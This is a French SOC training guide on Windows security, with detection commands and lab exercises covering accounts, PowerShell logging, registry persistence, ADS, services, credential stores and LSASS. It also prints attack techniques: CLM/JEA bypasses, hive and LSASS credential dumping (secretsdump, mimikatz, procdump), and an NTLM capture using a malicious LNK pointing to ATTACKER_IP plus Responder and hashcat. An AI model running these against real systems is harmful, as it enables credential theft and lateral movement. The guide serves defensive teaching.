Windows Security - SOC Guide

01

Architecture WindowsWINDOWS INTERNALS · KERNEL / USER MODE

Concept

Windows sépare l'exécution en deux espaces : User Mode et Kernel Mode. Cette séparation est fondamentale en SOC - les malwares cherchent à passer du User au Kernel pour gagner en persistance et contourner les détections.

User Mode : chaque processus a sa propre mémoire (VAS). Un crash ne plante pas le système.
Kernel Mode : mémoire partagée, accès direct au hardware. Un crash = BSOD.

Angle SOC

Les rootkits et drivers malveillants s'exécutent en Kernel Mode. Les indicateurs à surveiller :

Chargement de drivers non signés (Event ID 7045)
BSOD répétés : possible crashdump à analyser (WinPmem)
Processus système sans parent légitime (ex: svchost.exe sans services.exe)

⚠

IOC classique : un svchost.exe lancé depuis explorer.exe (au lieu de services.exe) est un signal fort d'injection de processus ou de process hollowing.

02

Utilisateurs & GroupesSID · COMPTES SYSTÈME · PRIVILÈGES

Concept

Chaque utilisateur et groupe est identifié par un SID (Security Identifier). C'est lui qui est réellement utilisé pour les permissions, pas le nom. En SOC, les comptes système sont des cibles privilégiées par les attaquants.

Compte	Niveau de privilège	Risque SOC
NT AUTHORITY\SYSTEM	Maximum	Cible finale de tout mouvement latéral
NT AUTHORITY\LocalService	Limité	Utilisé pour services réseau exposés
Administrateur local	Élevé	Souvent réactivé par des attaquants
Invité	Minimal	Réactivation = accès anonyme potentiel

Investigation - Utilisateurs & SID PowerShell

# Lister tous les utilisateurs locaux avec leur SID et statut Get-LocalUser | Select-Object -Property "Name", "SID", "Enabled", "LastLogon" # Vérifier qui est dans le groupe Administrateurs Get-LocalGroupMember -Group "Administrators" # Compte Administrateur actif ? (doit être désactivé) Get-LocalUser -Name "Administrator" | Select-Object Enabled

⚠

Event IDs à surveiller : 4720 (compte créé), 4722 (compte activé), 4728/4732 (ajout à un groupe privilégié), 4625 (échec d'auth). Un 4720 suivi d'un 4728 dans un court laps de temps = création de compte backdoor classique.

TP 01 Audit des comptes locaux suspects +

Énoncé Lister tous les utilisateurs locaux, filtrer ceux qui sont actifs et les classer par LastLogon. Identifier ensuite les membres du groupe Administrateurs. Vérifier si le compte "Administrateur" intégré est activé.

Correction

SolutionPowerShell

# Utilisateurs actifs, triés par dernière connexion Get-LocalUser | Where-Object { $_.Enabled -eq $true } | Sort-Object LastLogon -Descending | Select-Object Name, SID, LastLogon # Membres du groupe Administrateurs Get-LocalGroupMember -Group "Administrators" | Select-Object Name, ObjectClass, PrincipalSource # Statut du compte Administrateur intégré Get-LocalUser -Name "Administrator" | fl *

ℹ

Un compte avec LastLogon = null mais Enabled = True peut être un compte de backdoor jamais utilisé ou un compte prépositionné. À creuser avec les Event Logs.

03

PowerShellSCRIPTING · .NET · CLM · JEA

Concept

PowerShell est bâti sur le framework .NET. Il donne accès à toute la Win32 API, ce qui en fait un outil de choix pour les attaquants (living off the land). La structure d'un cmdlet est Verb-Noun -Param "Valeur".

Angle SOC

PowerShell est massivement utilisé dans les attaques fileless. Activer Script Block Logging et Module Logging est non-négociable. Event ID 4104 = contenu du script exécuté.

Commandes d'investigation clés PowerShell

# Historique des commandes PowerShell de l'utilisateur courant Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" # Processus PowerShell actifs (avec PID parent) Get-Process -Name "powershell*" | Select-Object Id, Name, Path, StartTime # Vérifier si Script Block Logging est activé Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" # Lire les events PowerShell (4104 = script block) Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-Object -First 20 TimeCreated, Message

CLM - Constrained Language Mode

Le CLM restreint l'accès à la Win32 API depuis PowerShell. Un attaquant peut le contourner si la chaîne "System32" est présente dans la commande exécutée (vulnérabilité dans wldpNativeMethods.cs). Activé via clé de registre __PSLockDownPolicy = 4.

☢

Bypass CLM : créer un script dont le path contient "System32" contourne la restriction. En SOC, surveiller les scripts exécutés depuis des paths inhabituels contenant "System32".

JEA - Just Enough Administration

JEA crée un environnement restreint (sandbox) pour les utilisateurs : seuls les cmdlets autorisés sont disponibles. Bypass connu : utiliser les librairies .NET directement ([System.Diagnostics.Process]::Start("calc.exe")) ou des fonctions inline (&{cmd_interdit}).

TP 02 Activer le Script Block Logging et capturer une exécution suspecte +

Énoncé 1. Activer le Script Block Logging via le registre. 2. Exécuter un script PowerShell quelconque (ex: Get-LocalUser). 3. Retrouver l'Event ID 4104 correspondant dans les logs et lire son contenu.

Correction

SolutionPowerShell (Admin)

# 1. Activer Script Block Logging New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" ` -Name "EnableScriptBlockLogging" -Value 1 # 2. Exécuter quelque chose (dans une nouvelle session PS) Get-LocalUser | Select-Object Name, SID # 3. Retrouver l'event 4104 Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-Object -First 5 | fl TimeCreated, Message

04

Registre WindowsHKLM · HKCU · PERSISTANCE

Concept

Le registre est une base de données hiérarchique contenant la configuration de l'OS et des applications. En sécurité, il est au cœur de la persistance : les malwares s'y inscrivent pour survivre aux redémarrages. Les deux hives principales sont HKLM (système, tous utilisateurs) et HKCU (utilisateur courant).

Clé	Usage	Intérêt SOC
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	Démarrage auto (tous utilisateurs)	Persistance malware classique
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	Démarrage auto (user courant)	Persistance sans droits admin
HKLM\SYSTEM\CurrentControlSet\Services	Services Windows	Création de services malveillants
HKLM\SAM	Hashes des mots de passe	Cible pour dump de credentials
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment	Variables d'environnement	Bypass CLM via __PSLockDownPolicy

Investigation - Clés de persistance CMD / reg.exe

:: Vérifier les clés Run (démarrage auto) reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" reg.exe query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" :: Vérifier les services enregistrés dans le registre reg.exe query "HKLM\SYSTEM\CurrentControlSet\Services"

⚠

Event IDs registre : 4657 (modification de clé de registre) - nécessite l'activation de l'audit d'accès aux objets. Les outils comme Autoruns (Sysinternals) comparent automatiquement les entrées Run/Services contre VirusTotal.

TP 03 Analyser les clés de persistance et détecter une anomalie +

Énoncé 1. Lister toutes les entrées des clés Run (HKLM et HKCU). 2. Ajouter manuellement une entrée "malveillante" simulée dans HKCU\Run. 3. La retrouver via PowerShell et la supprimer.

Correction

SolutionPowerShell

# 1. Lister les entrées Run Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # 2. Simuler une persistance malveillante New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ` -Name "WindowsUpdate" -Value "C:\Temp\backdoor.exe" -PropertyType "String" # 3. Détecter et supprimer Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate"

ℹ

Les attaquants utilisent souvent des noms imitant des processus légitimes ("WindowsUpdate", "svchost32", "MicrosoftEdge"). Toujours vérifier le chemin réel de l'exécutable.

05

Système de FichiersNTFS · ACL/ACE · ADS · MOTW

ACL / ACE

Une ACL (Access Control List) est la liste complète des permissions d'un objet. Une ACE (Access Control Entry) est une entrée de cette liste. En SOC, des ACEs mal configurées sur des dossiers système = escalade de privilèges possible.

ADS - Alternate Data Streams

NTFS permet à un fichier d'avoir plusieurs flux de données. L'ADS Zone.Identifier (MOTW) indique qu'un fichier vient d'internet. Les attaquants peuvent cacher du code dans un ADS non standard pour échapper aux scans basiques.

Investigation - ADS et MOTW PowerShell

# Lister tous les flux de données d'un fichier Get-Item -Stream * -Path "C:\Users\user\Downloads\setup.exe" # Lire le contenu du flux Zone.Identifier (MOTW) Get-Content -Stream "Zone.Identifier" -Path "C:\Users\user\Downloads\setup.exe" # ZoneId=3 = Internet, ZoneId=4 = Sites restreints # Détecter les ADS suspects sur un dossier entier Get-ChildItem -Path "C:\Temp" -Recurse | ForEach-Object { Get-Item -Stream * -Path $_.FullName | Where-Object { $_.Stream -notin "::$DATA", "Zone.Identifier" } } # Vérifier les permissions d'un fichier/dossier icacls.exe "C:\Program Files\MonService\app.exe"

⚠

ADS malveillant : un fichier .txt avec un ADS contenant du code exécutable est une technique de dissimulation connue. Tout ADS avec un nom autre que ::$DATA ou Zone.Identifier mérite investigation.

TP 04 Détecter un ADS suspect et analyser les permissions NTFS +

Énoncé 1. Créer un fichier texte et y ajouter un ADS caché contenant du texte simulant un payload. 2. Détecter cet ADS. 3. Créer un dossier, restreindre la lecture à un utilisateur via icacls.

Correction

SolutionPowerShell

# 1. Créer un fichier avec ADS caché New-Item -Path "C:\Temp\readme.txt" -Value "Contenu normal" Set-Content -Path "C:\Temp\readme.txt:payload" -Value "powershell -enc BASE64PAYLOAD" # 2. Détecter l'ADS Get-Item -Stream * -Path "C:\Temp\readme.txt" Get-Content -Path "C:\Temp\readme.txt:payload" # 3. Restreindre les permissions NTFS icacls.exe "C:\Temp\readme.txt" /deny restricteduser:R icacls.exe "C:\Temp\readme.txt" # vérification

06

SMB & Partages RéseauPORTS 139/445 · UNC · RELAY ATTACKS

Concept

SMB (Server Message Block) est le protocole de partage de fichiers Windows. Il est historiquement l'un des vecteurs d'attaque les plus exploités (EternalBlue/WannaCry, NTLM relay). Les partages accessibles déterminent la surface d'attaque du mouvement latéral.

Investigation - Partages et accès PowerShell

# Lister tous les partages locaux Get-SmbShare | Select-Object Name, Path, Description # Voir les permissions d'un partage Get-SmbShareAccess -Name "MonPartage" # Sessions SMB actives (qui est connecté ?) Get-SmbSession | Select-Object ClientComputerName, ClientUserName, NumOpens # Fichiers SMB ouverts en ce moment Get-SmbOpenFile # Depuis Linux / machine attaquante smbclient -U "DOMAIN/user" -L //192.168.1.10 netexec smb 192.168.1.10 -u "user" -p "pass" --shares

⚠

Red flags SMB : partage avec FullAccess EVERYONE, accès à C$ / ADMIN$ par des comptes non-admin, Event ID 5140 (accès à un partage), 5145 (accès à un fichier dans un partage). Trafic SMB vers l'extérieur = suspect.

07

Services WindowsPERSISTENCE · WEAK PERMS · UNQUOTED PATH

Concept

Un service est un programme en arrière-plan. Par défaut, ils s'exécutent sous NT AUTHORITY\SYSTEM. C'est une cible de choix pour la persistance et l'escalade de privilèges. Les clés de registre des services sont dans HKLM\SYSTEM\CurrentControlSet\Services.

Weak Binary Permissions

Si un utilisateur non-privilégié peut modifier l'exécutable d'un service tournant sous SYSTEM, il peut remplacer le binaire par un malware. Vérifier avec icacls.exe sur le BinaryPathName du service.

Unquoted Service Path

Si le chemin du service contient des espaces et n'est pas entre guillemets, Windows essaie d'exécuter des variantes du chemin. Ex : C:\Program Files\Mon Service\app.exe → Windows tente d'abord C:\Program.exe.

Énumération des services vulnérables PowerShell

# Chercher les services avec des chemins non entre guillemets gcim win32_service | Where-Object { $_.pathname -notlike '"*' -and $_.pathname -notlike "'*" -and $_.Pathname -notlike "*Windows*" -and $_.Pathname -like '* *' } | fl name, pathname, startname, startmode # Vérifier les permissions du binaire d'un service Get-Service -Name "MonService" | fl * icacls.exe "C:\Path\To\service.exe" # Lister tous les services avec leur compte d'exécution Get-CimInstance Win32_Service | Select-Object Name, StartName, PathName, State

⚠

Event IDs services : 7045 (nouveau service installé), 7036 (changement d'état), 4697 (service installé - audit avancé). Un service installé en dehors des heures ouvrées, avec un nom générique et tournant sous SYSTEM = IOC critique.

TP 05 Détecter les services avec Unquoted Path +

Énoncé Créer un service avec un chemin non entre guillemets contenant un espace. Utiliser la commande d'énumération pour le détecter. Corriger la configuration en ajoutant les guillemets.

Correction

SolutionCMD (Admin)

:: Créer un service vulnérable (chemin sans guillemets) sc.exe create VulnService start= demand binPath= C:\Program Files\Mon Service\app.exe :: Détecter via PowerShell (commande vue plus haut) gcim win32_service | ? pathname -notlike '"*' | ? Pathname -like '* *' | fl name, pathname :: Corriger : ajouter les guillemets sc.exe config VulnService binPath= "'C:\Program Files\Mon Service\app.exe'" :: Nettoyage sc.exe delete VulnService

08

Credentials & HashesSAM · SYSTEM · SECURITY · DPAPI

Fichier	Contenu	Emplacement
SAM	Hashes NT des utilisateurs locaux	C:\Windows\System32\config\SAM - HKLM\SAM
SYSTEM	Clé de déchiffrement de SAM (SYSKEY)	C:\Windows\System32\config\SYSTEM
SECURITY	Creds en clair, DCC1/DCC2, clés Kerberos	C:\Windows\System32\config\SECURITY
DPAPI	Credentials applicatifs (browsers, etc.)	C:\Users\%user%\AppData\Roaming\Microsoft\CREDENTIALS

Extraction des hashes (post-compromise forensics) CMD (Admin)

:: Sauvegarde des hives via reg.exe (fichiers en cours d'utilisation) reg.exe save HKLM\SAM "C:\Temp\SAM.save" reg.exe save HKLM\SYSTEM "C:\Temp\SYSTEM.save" reg.exe save HKLM\SECURITY "C:\Temp\SECURITY.save" :: Depuis Linux avec impacket (à distance) impacket-secretsdump -sam SAM.save -system SYSTEM.save LOCAL impacket-secretsdump DOMAIN/user:pass@192.168.1.10

⚠

Indicateurs de credential dumping : accès à HKLM\SAM ou HKLM\SECURITY (Event 4663), processus comme reg.exe ou mimikatz.exe accédant aux hives système, création de VSS (Volume Shadow Copy) pour contourner les verrous fichiers.

09

LSA / LSASSCREDENTIAL DUMPING · MIMIKATZ · PPL

Concept

lsass.exe (Local Security Authority Subsystem Service) est le processus qui gère l'authentification Windows. Il conserve en mémoire les credentials des utilisateurs connectés : hashes NT, tickets Kerberos, parfois mots de passe en clair (WDigest). C'est la cible n°1 du credential dumping.

Techniques d'attaque courantes

Mimikatz : sekurlsa::logonpasswords
Task Manager dump : dump manuel du processus lsass
ProcDump : procdump.exe -ma lsass.exe
Comsvcs.dll : rundll32 comsvcs.dll, MiniDump

Protections

PPL (Protected Process Light) : empêche l'accès mémoire à lsass
Credential Guard : isole lsass dans un VSM (Virtual Secure Mode)
WDigest disabled : HKLM\...\WDigest UseLogonCredential = 0
ASR Rules : bloquer l'accès à lsass via Defender

Détection - LSASS Access PowerShell

# Vérifier si PPL est activé sur lsass Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL # Vérifier si WDigest est désactivé (creds en clair) Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name UseLogonCredential # 0 = désactivé (bon), 1 = activé (mauvais) # Événements d'accès à lsass (nécessite audit activé) Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4656} | Where-Object { $_.Message -like "*lsass*" } | Select-Object -First 10

⚠

Event IDs LSASS : 10 (Sysmon - accès au processus lsass), 4656 (demande d'accès à lsass), présence de procdump.exe, comsvcs.dll dans des chemins inhabituels, ou lsass.dmp sur le filesystem.

10

Vecteurs d'AttaqueSCF · LNK · NTLM RELAY · HASH CAPTURE

Concept - NTLM Hash Capture

Les attaques SCF et LNK exploitent le fait que Windows s'authentifie automatiquement sur les ressources UNC (chemin réseau \\serveur\partage). En plaçant un fichier malveillant qui pointe vers un serveur SMB contrôlé par l'attaquant, on capture le challenge NTLM de la victime. Ce hash peut être cracké offline ou utilisé en NTLM relay.

Attaque SCF

Un fichier .scf spécifie une icône via un chemin UNC. Quand l'explorateur Windows affiche le dossier, il tente de récupérer l'icône → auth automatique. Patchée sur Windows 10 récent mais fonctionnel sur anciennes builds.

Attaque LNK

Un raccourci .lnk pointant vers un chemin UNC distant. Déposé dans un partage SMB : tout utilisateur parcourant le dossier déclenche une auth NTLM vers le serveur de l'attaquant. Toujours fonctionnel.

Setup côté attaquant (Kali/Linux) Bash / Impacket

# 1. Lancer un serveur SMB pour capturer les hashes impacket-smbserver -smb2support ShareName /tmp/share # ou avec Responder (capture + poisoning) responder -I eth0 -wrf # 2. Créer un fichier LNK malveillant (via PowerShell sur Windows) $wsh = New-Object -ComObject WScript.Shell $lnk = $wsh.CreateShortcut("C:\Temp\important.lnk") $lnk.TargetPath = "\\ATTACKER_IP\ShareName\fakefile" $lnk.Save() # 3. Déposer dans un partage accessible impacket-smbclient "DOMAIN/user:pass"@TARGET > use SharedFolder > put important.lnk # 4. Cracker le hash NTLM capturé hashcat -m 5600 ntlm_hash.txt wordlist.txt

⚠

Détection LNK/SCF : connexions SMB sortantes vers des IPs inconnues (Event 5140/5156), présence de fichiers .lnk ou .scf dans des partages réseau, trafic NTLM vers des IPs non-contrôleurs de domaine. Mitigation : bloquer SMB outbound sauf vers les serveurs autorisés.

☢

Défense : désactiver NTLM v1 (LmCompatibilityLevel = 5), activer SMB Signing, bloquer le port 445 en sortie sur les postes de travail, utiliser Responder en mode détection (passif) sur le réseau interne pour identifier les hashes circulant.

TP 06 Simuler une capture de hash NTLM via LNK (lab isolé) +

Énoncé Dans un environnement lab isolé (VM) : 1. Depuis Kali, lancer impacket-smbserver. 2. Depuis Windows, créer un fichier LNK pointant vers l'IP Kali. 3. Observer la capture du hash dans impacket. 4. Identifier l'Event ID correspondant côté Windows.

Correction

KaliBash

# Lancer le serveur SMB sudo impacket-smbserver -smb2support CaptureShare /tmp/ # Attendre la connexion... # Le hash NTLMv2 apparaîtra dans le terminal

Windows (victime)PowerShell

$wsh = New-Object -ComObject WScript.Shell $lnk = $wsh.CreateShortcut("C:\Temp\test.lnk") $lnk.TargetPath = "\\192.168.1.100\CaptureShare\x" $lnk.Save() # Ouvrir C:\Temp dans l'explorateur → déclenche l'auth # Event ID 5156 (connexion réseau) visible dans Security logs

⇪

Ce TP doit être réalisé exclusivement en lab isolé. Ne jamais pointer vers une IP externe ou un réseau de production.